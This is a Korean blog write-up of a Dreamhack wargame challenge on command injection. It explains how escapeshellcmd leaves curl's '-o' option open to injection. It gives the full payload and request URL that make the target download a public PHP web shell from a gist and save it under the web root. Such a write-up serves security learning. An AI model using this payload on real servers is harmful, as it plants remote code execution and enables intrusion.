본문 바로가기
프로그래밍/해킹

Command Injection Advanced 실습 문제

by 만디기 2024. 7. 17.

1. 문제 : https://dreamhack.io/wargame/challenges/413

 

Command Injection Advanced

Description Exercise: Command Injection Advanced에서 실습하는 문제입니다. 문제 수정 내역 2023.07.27 Dockerfile 제공

dreamhack.io

 

2. 문제 조건

1) 첨부 파일의 Dockerfile을 참조하면 다음 내용을 알 수 있다.

- apache2 서버를 사용한다. 기본적으로 아파치의 웹 문서 파일의 경로는 "/var/www/html"이다.

- flag는 실행 파일로, /flag에 존재한다. (chmod 111)

- /var/www/html/cache/ 경로는 chmod 777으로, 자유롭게 쓸 수 있다.

 

2) 첨부 파일의 index.php를 참조하면 다음 내용을 알 수 있다.

- url 파라미터를 통해 입력값을 받고, "http" 문자열로 시작하는지 검사한다. 만약 해당 문자열이 포함되어 있다면 shell_exec 함수를 통해 curl 명령어를 실행한다.

- 해당 명령어의 인자로 url 파라미터의 값이 전달되는데, escapeshellcmd 함수를 사용해 셸 메타 문자를 사용할 수 없도록 한다.

- 이후 입력한 url 파라미터의 값을 MD5 알고리즘으로 해싱한 결과를 파일 이름으로, curl 명령어의 실행 결과를 파일 내용으로 하여 cache 디렉터리에 저장한다.

- escapeshellcmd 함수에서는 - 문자에 \ 문자를 추가하지 않으므로 curl 명령어의 "-o" 옵션을 사용해 임의 디렉터리에 파일을 생성할 수 있는 취약점이 있다.

 

3. exploit

1) curl 명령어의 "-o" 옵션을 사용해 임의 디렉토리에 웹 쉘을 업로드한다. "-o" 옵션은 curl로 받아온 내용을 파일로 저장하는 옵션이므로 curl로 웹 쉘의 raw 데이터가 있는 경로에 접속해야 한다.

- url로 직접 입력할 때, 공백같이 일부만 바꿔도 동작하는 듯. 물론 특수문자 전부 URI Encoding해도 잘 동작한다.

 

 curl 명령어 : https://nice-engineer.tistory.com/entry/Linux-curl-%EB%AA%85%EB%A0%B9%EC%96%B4 

(1) 값으로 입력
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php -o /var/www/html/cache/webshell.php

(2) url로 직접 입력
http://(문제 서버 주소)/?url=https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%20-o%20/var/www/html/cache/webshell.php

 

2) 이후 /flag 실행.

 

4. 참조 링크 : www-data 권한 관련

- 우분투 권한 관련

https://velog.io/@xangj0ng/Linux-Ubuntu-%EA%B6%8C%ED%95%9C-%EC%84%A4%EC%A0%95

https://kldp.org/node/141854

https://inpa.tistory.com/entry/LINUX-%F0%9F%93%9A-%ED%8C%8C%EC%9D%BC-%EA%B6%8C%ED%95%9C-%EC%86%8C%EC%9C%A0%EA%B6%8C%ED%97%88%EA%B0%80%EA%B6%8C-%F0%9F%92%AF-%EC%A0%95%EB%A6%AC